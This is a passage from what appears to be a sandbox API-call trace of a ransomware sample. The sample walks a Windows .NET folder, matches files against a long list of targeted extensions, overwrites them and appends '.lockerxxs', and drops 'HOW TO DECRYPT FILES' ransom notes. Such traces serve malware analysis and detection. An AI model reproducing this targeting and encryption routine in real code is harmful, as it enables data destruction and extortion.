(lpString="*.sql") returned 5 [0135.612] lstrcpyA (in: lpString1=0x404950, lpString2="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\InstallWebEventSqlProvider.sql" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\InstallWebEventSqlProvider.sql") returned="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\InstallWebEventSqlProvider.sql" [0135.612] lstrcpyA (in: lpString1=0x405b50, lpString2="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\InstallWebEventSqlProvider.sql" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\InstallWebEventSqlProvider.sql") returned="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\InstallWebEventSqlProvider.sql" [0135.612] lstrcatA (in: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\InstallWebEventSqlProvider.sql", lpString2="." | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\InstallWebEventSqlProvider.sql.") returned="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\InstallWebEventSqlProvider.sql." [0135.612] lstrcatA (in: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\InstallWebEventSqlProvider.sql.", lpString2="lockerxxs" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\InstallWebEventSqlProvider.sql.lockerxxs") returned="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\InstallWebEventSqlProvider.sql.lockerxxs" [0135.612] CreateFileA (lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\InstallWebEventSqlProvider.sql" (normalized: "c:\\windows\\microsoft.net\\framework\\v2.0.50727\\installwebeventsqlprovider.sql"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x8c [0135.615] GetFileSize (in: hFile=0x8c, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0x1939 [0135.615] GetFileTime (in: hFile=0x8c, lpCreationTime=0x40752e, lpLastAccessTime=0x407536, lpLastWriteTime=0x40753e | out: lpCreationTime=0x40752e*(dwLowDateTime=0xdaeeaa28, dwHighDateTime=0x1ca042b), lpLastAccessTime=0x407536*(dwLowDateTime=0xdaeeaa28, dwHighDateTime=0x1ca042b), lpLastWriteTime=0x40753e*(dwLowDateTime=0xa01eaf1c, dwHighDateTime=0x1c9ea11)) returned 1 [0135.615] SetFilePointer (in: hFile=0x8c, lDistanceToMove=38, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x26 [0135.615] ReadFile (in: hFile=0x8c, lpBuffer=0x1d00020, nNumberOfBytesToRead=0x196830, lpNumberOfBytesRead=0x40655d, lpOverlapped=0x0 | out: lpBuffer=0x1d00020*, lpNumberOfBytesRead=0x40655d*=0x1913, lpOverlapped=0x0) returned 1 [0135.620] PathFindFileNameA (pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\InstallWebEventSqlProvider.sql") returned="InstallWebEventSqlProvider.sql" [0135.620] SetFilePointer (in: hFile=0x8c, lDistanceToMove=38, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x26 [0135.620] WriteFile (in: hFile=0x8c, lpBuffer=0x1d00020*, nNumberOfBytesToWrite=0x1913, lpNumberOfBytesWritten=0x406561, lpOverlapped=0x0 | out: lpBuffer=0x1d00020*, lpNumberOfBytesWritten=0x406561*=0x1913, lpOverlapped=0x0) returned 1 [0135.620] SetFileTime (hFile=0x8c, lpCreationTime=0x40752e, lpLastAccessTime=0x407536, lpLastWriteTime=0x40753e) returned 1 [0135.621] CloseHandle (hObject=0x8c) returned 1 [0135.621] MoveFileA (lpExistingFileName="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\InstallWebEventSqlProvider.sql" (normalized: "c:\\windows\\microsoft.net\\framework\\v2.0.50727\\installwebeventsqlprovider.sql"), lpNewFileName="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\InstallWebEventSqlProvider.sql.lockerxxs" (normalized: "c:\\windows\\microsoft.net\\framework\\v2.0.50727\\installwebeventsqlprovider.sql.lockerxxs")) returned 1 [0135.622] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x99c3f19a, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x99c3f19a, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x99c3f19a, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x11a00, dwReserved0=0xd60001d7, dwReserved1=0x4e00c4, cFileName="ISymWrapper.dll", cAlternateFileName="")) returned 1 [0135.622] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0135.622] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="ISymWrapper.dll") returned -1 [0135.623] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="ISymWrapper.dll") returned -1 [0135.623] lstrcmpiA (lpString1="", lpString2="ISymWrapper.dll") returned -1 [0135.623] PathFindFileNameA (pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\InstallWebEventSqlProvider.sql") returned="InstallWebEventSqlProvider.sql" [0135.623] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\") returned="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\" [0135.623] PathAddBackslashA (in: pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\" | out: pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\") returned="" [0135.623] lstrcatA (in: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\HOW TO DECRYPT FILES.txt" [0135.623] GetFileAttributesA (lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\microsoft.net\\framework\\v2.0.50727\\how to decrypt files.txt")) returned 0x20 [0135.623] lstrcatA (in: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\", lpString2="ISymWrapper.dll" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\ISymWrapper.dll") returned="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\ISymWrapper.dll" [0135.623] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\ISymWrapper.dll", pszSpec="*.ems") returned 0 [0135.623] lstrlenA (lpString="*.ems") returned 5 [0135.623] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\ISymWrapper.dll", pszSpec="*.db") returned 0 [0135.623] lstrlenA (lpString="*.db") returned 4 [0135.623] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\ISymWrapper.dll", pszSpec="*.dbf") returned 0 [0135.623] lstrlenA (lpString="*.dbf") returned 5 [0135.623] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\ISymWrapper.dll", pszSpec="*.myox") returned 0 [0135.624] lstrlenA (lpString="*.myox") returned 6 [0135.624] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\ISymWrapper.dll", pszSpec="*.myo") returned 0 [0135.624] lstrlenA (lpString="*.myo") returned 5 [0135.624] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\ISymWrapper.dll", pszSpec="*.qbw") returned 0 [0135.624] lstrlenA (lpString="*.qbw") returned 5 [0135.624] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\ISymWrapper.dll", pszSpec="*.qbb") returned 0 [0135.624] lstrlenA (lpString="*.qbb") returned 5 [0135.624] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\ISymWrapper.dll", pszSpec="*.qbm") returned 0 [0135.624] lstrlenA (lpString="*.qbm") returned 5 [0135.624] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\ISymWrapper.dll", pszSpec="*.qbo") returned 0 [0135.624] lstrlenA (lpString="*.qbo") returned 5 [0135.624] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\ISymWrapper.dll", pszSpec="*.qbx") returned 0 [0135.624] lstrlenA (lpString="*.qbx") returned 5 [0135.624] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\ISymWrapper.dll", pszSpec="*.qba") returned 0 [0135.624] lstrlenA (lpString="*.qba") returned 5 [0135.624] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\ISymWrapper.dll", pszSpec="*.qby") returned 0 [0135.624] lstrlenA (lpString="*.qby") returned 5 [0135.624] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\ISymWrapper.dll", pszSpec="*.qbj") returned 0 [0135.624] lstrlenA (lpString="*.qbj") returned 5 [0135.625] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\ISymWrapper.dll", pszSpec="*.ofx") returned 0 [0135.625] lstrlenA (lpString="*.ofx") returned 5 [0135.625] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\ISymWrapper.dll", pszSpec="*.qif") returned 0 [0135.625] lstrlenA (lpString="*.qif") returned 5 [0135.625] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\ISymWrapper.dll", pszSpec="*.mye") returned 0 [0135.625] lstrlenA (lpString="*.mye") returned 5 [0135.625] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\ISymWrapper.dll", pszSpec="*.mbox") returned 0 [0135.625] lstrlenA (lpString="*.mbox") returned 6 [0135.625] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\ISymWrapper.dll", pszSpec="*.eml") returned 0 [0135.625] lstrlenA (lpString="*.eml") returned 5 [0135.625] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\ISymWrapper.dll", pszSpec="*.pst") returned 0 [0135.625] lstrlenA (lpString="*.pst") returned 5 [0135.625] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\ISymWrapper.dll", pszSpec="*.ost") returned 0 [0135.625] lstrlenA (lpString="*.ost") returned 5 [0135.625] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\ISymWrapper.dll", pszSpec="*.idx") returned 0 [0135.625] lstrlenA (lpString="*.idx") returned 5 [0135.625] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\ISymWrapper.dll", pszSpec="*.dbx") returned 0 [0135.625] lstrlenA (lpString="*.dbx") returned 5 [0135.625] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\ISymWrapper.dll", pszSpec="*.sql") returned 0 [0135.626] lstrlenA (lpString="*.sql") returned 5 [0135.626] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\ISymWrapper.dll", pszSpec="*.mdb") returned 0 [0135.626] lstrlenA (lpString="*.mdb") returned 5 [0135.626] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\ISymWrapper.dll", pszSpec="*.fdb") returned 0 [0135.626] lstrlenA (lpString="*.fdb") returned 5 [0135.626] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\ISymWrapper.dll", pszSpec="*.wab") returned 0 [0135.626] lstrlenA (lpString="*.wab") returned 5 [0135.626] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\ISymWrapper.dll", pszSpec="*.dat") returned 0 [0135.626] lstrlenA (lpString="*.dat") returned 5 [0135.626] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\ISymWrapper.dll", pszSpec="*.txt") returned 0 [0135.626] lstrlenA (lpString="*.txt") returned 5 [0135.626] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\ISymWrapper.dll", pszSpec="*.jpeg") returned 0 [0135.626] lstrlenA (lpString="*.jpeg") returned 6 [0135.626] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\ISymWrapper.dll", pszSpec="*.jpg") returned 0 [0135.626] lstrlenA (lpString="*.jpg") returned 5 [0135.626] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\ISymWrapper.dll", pszSpec="*.png") returned 0 [0135.626] lstrlenA (lpString="*.png") returned 5 [0135.626] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\ISymWrapper.dll", pszSpec="*.php") returned 0 [0135.627] lstrlenA (lpString="*.php") returned 5 [0135.627] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\ISymWrapper.dll", pszSpec="*.cs") returned 0 [0135.627] lstrlenA (lpString="*.cs") returned 4 [0135.627] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\ISymWrapper.dll", pszSpec="*.cpp") returned 0 [0135.627] lstrlenA (lpString="*.cpp") returned 5 [0135.627] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\ISymWrapper.dll", pszSpec="*.rar") returned 0 [0135.627] lstrlenA (lpString="*.rar") returned 5 [0135.627] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\ISymWrapper.dll", pszSpec="*.zip") returned 0 [0135.627] lstrlenA (lpString="*.zip") returned 5 [0135.627] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\ISymWrapper.dll", pszSpec="*.html") returned 0 [0135.627] lstrlenA (lpString="*.html") returned 6 [0135.627] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\ISymWrapper.dll", pszSpec="*.htm") returned 0 [0135.627] lstrlenA (lpString="*.htm") returned 5 [0135.627] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\ISymWrapper.dll", pszSpec="*.xlsx") returned 0 [0135.627] lstrlenA (lpString="*.xlsx") returned 6 [0135.627] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\ISymWrapper.dll", pszSpec="*.xls") returned 0 [0135.627] lstrlenA (lpString="*.xls") returned 5 [0135.627] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\ISymWrapper.dll", pszSpec="*.mp4") returned 0 [0135.628] lstrlenA (lpString="*.mp4") returned 5 [0135.628] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\ISymWrapper.dll", pszSpec="*.ppt") returned 0 [0135.628] lstrlenA (lpString="*.ppt") returned 5 [0135.628] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\ISymWrapper.dll", pszSpec="*.pptx") returned 0 [0135.628] lstrlenA (lpString="*.pptx") returned 6 [0135.628] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\ISymWrapper.dll", pszSpec="*.doc") returned 0 [0135.628] lstrlenA (lpString="*.doc") returned 5 [0135.628] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\ISymWrapper.dll", pszSpec="*.dot") returned 0 [0135.628] lstrlenA (lpString="*.dot") returned 5 [0135.628] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\ISymWrapper.dll", pszSpec="*.docx") returned 0 [0135.628] lstrlenA (lpString="*.docx") returned 6 [0135.628] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\ISymWrapper.dll", pszSpec="*.7z") returned 0 [0135.628] lstrlenA (lpString="*.7z") returned 4 [0135.628] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\ISymWrapper.dll", pszSpec="*.tar") returned 0 [0135.628] lstrlenA (lpString="*.tar") returned 5 [0135.628] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\ISymWrapper.dll", pszSpec="*.bz2") returned 0 [0135.628] lstrlenA (lpString="*.bz2") returned 5 [0135.629] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\ISymWrapper.dll", pszSpec="*.gz") returned 0 [0135.629] lstrlenA (lpString="*.gz") returned 4 [0135.629] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\ISymWrapper.dll", pszSpec="*.mkv") returned 0 [0135.629] lstrlenA (lpString="*.mkv") returned 5 [0135.629] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\ISymWrapper.dll", pszSpec="*.eml") returned 0 [0135.629] lstrlenA (lpString="*.eml") returned 5 [0135.629] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\ISymWrapper.dll", pszSpec="*.msg") returned 0 [0135.629] lstrlenA (lpString="*.msg") returned 5 [0135.629] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\ISymWrapper.dll", pszSpec="*.edb") returned 0 [0135.629] lstrlenA (lpString="*.edb") returned 5 [0135.629] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\ISymWrapper.dll", pszSpec="*.accdb") returned 0 [0135.629] lstrlenA (lpString="*.accdb") returned 7 [0135.630] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\ISymWrapper.dll", pszSpec="*.odb") returned 0 [0135.630] lstrlenA (lpString="*.odb") returned 5 [0135.630] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\ISymWrapper.dll", pszSpec="*.java") returned 0 [0135.630] lstrlenA (lpString="*.java") returned 6 [0135.630] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\ISymWrapper.dll", pszSpec="*.asm") returned 0 [0135.630] lstrlenA (lpString="*.asm") returned 5 [0135.630] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\ISymWrapper.dll", pszSpec="*.pfx") returned 0 [0135.630] lstrlenA (lpString="*.pfx") returned 5 [0135.630] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\ISymWrapper.dll", pszSpec="*.pem") returned 0 [0135.630] lstrlenA (lpString="*.pem") returned 5 [0135.630] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\ISymWrapper.dll", pszSpec="*.p12") returned 0 [0135.630] lstrlenA (lpString="*.p12") returned 5 [0135.630] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\ISymWrapper.dll", pszSpec="*.gpg") returned 0 [0135.630] lstrlenA (lpString="*.gpg") returned 5 [0135.630] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\ISymWrapper.dll", pszSpec="*.vsd") returned 0 [0135.630] lstrlenA (lpString="*.vsd") returned 5 [0135.630] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\ISymWrapper.dll", pszSpec="*.odg") returned 0 [0135.630] lstrlenA (lpString="*.odg") returned 5 [0135.630] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\ISymWrapper.dll", pszSpec="*.raw") returned 0 [0135.631] lstrlenA (lpString="*.raw") returned 5 [0135.631] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\ISymWrapper.dll", pszSpec="*.nef") returned 0 [0135.631] lstrlenA (lpString="*.nef") returned 5 [0135.631] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\ISymWrapper.dll", pszSpec="*.svg") returned 0 [0135.631] lstrlenA (lpString="*.svg") returned 5 [0135.631] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\ISymWrapper.dll", pszSpec="*.psd") returned 0 [0135.631] lstrlenA (lpString="*.psd") returned 5 [0135.631] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\ISymWrapper.dll", pszSpec="*.vmx") returned 0 [0135.631] lstrlenA (lpString="*.vmx") returned 5 [0135.631] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\ISymWrapper.dll", pszSpec="*.vmdk") returned 0 [0135.631] lstrlenA (lpString="*.vmdk") returned 6 [0135.631] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\ISymWrapper.dll", pszSpec="*.vdi") returned 0 [0135.631] lstrlenA (lpString="*.vdi") returned 5 [0135.631] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\ISymWrapper.dll", pszSpec="*.lay6") returned 0 [0135.631] lstrlenA (lpString="*.lay6") returned 6 [0135.631] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\ISymWrapper.dll", pszSpec="*.mpeg") returned 0 [0135.631] lstrlenA (lpString="*.mpeg") returned 6 [0135.632] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\ISymWrapper.dll", pszSpec="*.djvu") returned 0 [0135.632] lstrlenA (lpString="*.djvu") returned 6 [0135.632] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\ISymWrapper.dll", pszSpec="*.tiff") returned 0 [0135.632] lstrlenA (lpString="*.tiff") returned 6 [0135.632] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\ISymWrapper.dll", pszSpec="*.backup") returned 0 [0135.632] lstrlenA (lpString="*.backup") returned 8 [0135.632] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\ISymWrapper.dll", pszSpec="*.pdf") returned 0 [0135.632] lstrlenA (lpString="*.pdf") returned 5 [0135.632] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\ISymWrapper.dll", pszSpec="*.cert") returned 0 [0135.632] lstrlenA (lpString="*.cert") returned 6 [0135.632] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\ISymWrapper.dll", pszSpec="*.docm") returned 0 [0135.632] lstrlenA (lpString="*.docm") returned 6 [0135.632] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\ISymWrapper.dll", pszSpec="*.xlsm") returned 0 [0135.632] lstrlenA (lpString="*.xlsm") returned 6 [0135.632] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\ISymWrapper.dll", pszSpec="*.dwg") returned 0 [0135.632] lstrlenA (lpString="*.dwg") returned 5 [0135.632] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\ISymWrapper.dll", pszSpec="*.nd") returned 0 [0135.632] lstrlenA (lpString="*.nd") returned 4 [0135.633] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\ISymWrapper.dll", pszSpec="*.tlg") returned 0 [0135.633] lstrlenA (lpString="*.tlg") returned 5 [0135.633] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\ISymWrapper.dll", pszSpec="*.lgb") returned 0 [0135.633] lstrlenA (lpString="*.lgb") returned 5 [0135.633] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\ISymWrapper.dll", pszSpec="*.mov") returned 0 [0135.633] lstrlenA (lpString="*.mov") returned 5 [0135.633] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\ISymWrapper.dll", pszSpec="*.xdw") returned 0 [0135.633] lstrlenA (lpString="*.xdw") returned 5 [0135.633] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\ISymWrapper.dll", pszSpec="*.ods") returned 0 [0135.633] lstrlenA (lpString="*.ods") returned 5 [0135.633] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\ISymWrapper.dll", pszSpec="*.wav") returned 0 [0135.633] lstrlenA (lpString="*.wav") returned 5 [0135.633] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\ISymWrapper.dll", pszSpec="*.mp3") returned 0 [0135.633] lstrlenA (lpString="*.mp3") returned 5 [0135.633] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\ISymWrapper.dll", pszSpec="*.aiff") returned 0 [0135.633] lstrlenA (lpString="*.aiff") returned 6 [0135.633] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\ISymWrapper.dll", pszSpec="*.flac") returned 0 [0135.633] lstrlenA (lpString="*.flac") returned 6 [0135.634] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\ISymWrapper.dll", pszSpec="*.m4a") returned 0 [0135.634] lstrlenA (lpString="*.m4a") returned 5 [0135.634] PathMatchSpecA (pszFile="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\ISymWrapper.dll", pszSpec="*.csv") returned 0 [0135.634] lstrlenA (lpString="*.csv") returned 5 [0135.634] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfa6c9551, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0xfa6c9551, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0xa0367cdc, ftLastWriteTime.dwHighDateTime=0x1c9ea11, nFileSizeHigh=0x0, nFileSizeLow=0xa000, dwReserved0=0x0, dwReserved1=0x0, cFileName="jsc.exe", cAlternateFileName="")) returned 1 [0135.634] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0135.634] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="jsc.exe") returned -1 [0135.634] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="jsc.exe") returned -1 [0135.634] lstrcmpiA (lpString1="", lpString2="jsc.exe") returned -1 [0135.634] PathFindFileNameA (pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\ISymWrapper.dll") returned="ISymWrapper.dll" [0135.634] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\") returned="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\" [0135.634] PathAddBackslashA (in: pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\" | out: pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\") returned="" [0135.634] lstrcatA (in: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\HOW TO DECRYPT FILES.txt" [0135.634] GetFileAttributesA (lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\HOW TO DECRYPT FILES.txt" (normalized: 